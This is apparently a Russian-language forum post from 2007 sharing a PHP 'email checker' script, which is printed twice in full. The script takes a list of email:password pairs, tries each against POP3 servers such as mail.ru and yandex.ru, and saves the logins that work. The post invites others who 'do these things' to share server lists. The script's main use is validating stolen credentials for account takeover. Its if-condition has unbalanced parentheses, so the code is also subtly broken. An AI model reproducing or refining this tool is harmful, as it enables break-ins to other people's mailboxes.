Scipio
03.12.2007, 18:16
Чеккер емайлов:
<?php
error_reporting(E_ALL);
set_time_limit(0);
$fr=fopen("lst.txt","r");
$fw=fopen("result.txt","w");
$cfg=file("servers.txt");
$i=0;
foreach($cfg as $lst)
{
$lst=strtolower($lst);
$cfg[$i]=explode(':',$lst);
$i++;
}
while (!feof ($fr))
{
$buffer = fgets($fr,255);
$buffer = strtolower($buffer);
$lp=explode(':',$buffer,2);
$log=explode('@',$lp[0],2);
$i=0;
foreach($cfg as $lst)
{
if (trim($log[1])== trim($lst[2])) and (isset($lp[1])))
{
$serv=$lst[0];
$prt=$lst[1];
$i=1;
break;
}
}
if ($i==1)
{
$ock=fsockopen($serv,$prt);
$html=fgets($ock);
$usr="user ".$log[0]."\n";
fputs($ock,$usr);
$html=fgets($ock);
$pwr="pass ".$lp[1]."\n";
fputs($ock,$pwr);
$html=fgets($ock);
if (preg_match("/OK/",$html))
{
fputs($fw,$buffer);
fclose($ock);
}
else
{
fclose($ock);
}
}
}
echo "OK!";
fclose($fr);
fclose($fw);
?>
опять же промежуточный вариант, но немноного об функционале, в файле lst.txt мылники в формате:
user@мало.дмн:pass
пример файла lst.txt:
support@mail.ru:qwerty
afaa@mail.ru:sasa
icq@rambler.ru:1234
cool@yandex.ru:xpeH
причем регистр неважен
в файле result.txt окажутся рабочие варианты (т.е. валидные)
и еще есть конфигурационный файл, который все сами могут изменять, имя ему "servers.txt", в нем настройки основные, в нем, через двоеточее идут:
имя поп сервера,порт поп сервера (обычно 110),и обозначение в адресе электронной почты, пример (вполне рабочий и мной используемый):
pop.mail.RU:110:mail.ru
pop.yandex.ru:110:yAndex.ru
опять же регистр не имеет значения...
Если комуто будет интересно это, прикручу интерфейс какойнить (если нужен), кстати кто этими вещами занимаются могут выложить свои варианты файла servers.txt, тогда другие тоже будут пользоваться этим файлом.
<?php
error_reporting(E_ALL);
set_time_limit(0);
$fr=fopen("lst.txt","r");
$fw=fopen("result.txt","w");
$cfg=file("servers.txt");
$i=0;
foreach($cfg as $lst)
{
$lst=strtolower($lst);
$cfg[$i]=explode(':',$lst);
$i++;
}
while (!feof ($fr))
{
$buffer = fgets($fr,255);
$buffer = strtolower($buffer);
$lp=explode(':',$buffer,2);
$log=explode('@',$lp[0],2);
$i=0;
foreach($cfg as $lst)
{
if (trim($log[1])== trim($lst[2])) and (isset($lp[1])))
{
$serv=$lst[0];
$prt=$lst[1];
$i=1;
break;
}
}
if ($i==1)
{
$ock=fsockopen($serv,$prt);
$html=fgets($ock);
$usr="user ".$log[0]."\n";
fputs($ock,$usr);
$html=fgets($ock);
$pwr="pass ".$lp[1]."\n";
fputs($ock,$pwr);
$html=fgets($ock);
if (preg_match("/OK/",$html))
{
fputs($fw,$buffer);
fclose($ock);
}
else
{
fclose($ock);
}
}
}
echo "OK!";
fclose($fr);
fclose($fw);
?>
опять же промежуточный вариант, но немноного об функционале, в файле lst.txt мылники в формате:
user@мало.дмн:pass
пример файла lst.txt:
support@mail.ru:qwerty
afaa@mail.ru:sasa
icq@rambler.ru:1234
cool@yandex.ru:xpeH
причем регистр неважен
в файле result.txt окажутся рабочие варианты (т.е. валидные)
и еще есть конфигурационный файл, который все сами могут изменять, имя ему "servers.txt", в нем настройки основные, в нем, через двоеточее идут:
имя поп сервера,порт поп сервера (обычно 110),и обозначение в адресе электронной почты, пример (вполне рабочий и мной используемый):
pop.mail.RU:110:mail.ru
pop.yandex.ru:110:yAndex.ru
опять же регистр не имеет значения...
Если комуто будет интересно это, прикручу интерфейс какойнить (если нужен), кстати кто этими вещами занимаются могут выложить свои варианты файла servers.txt, тогда другие тоже будут пользоваться этим файлом.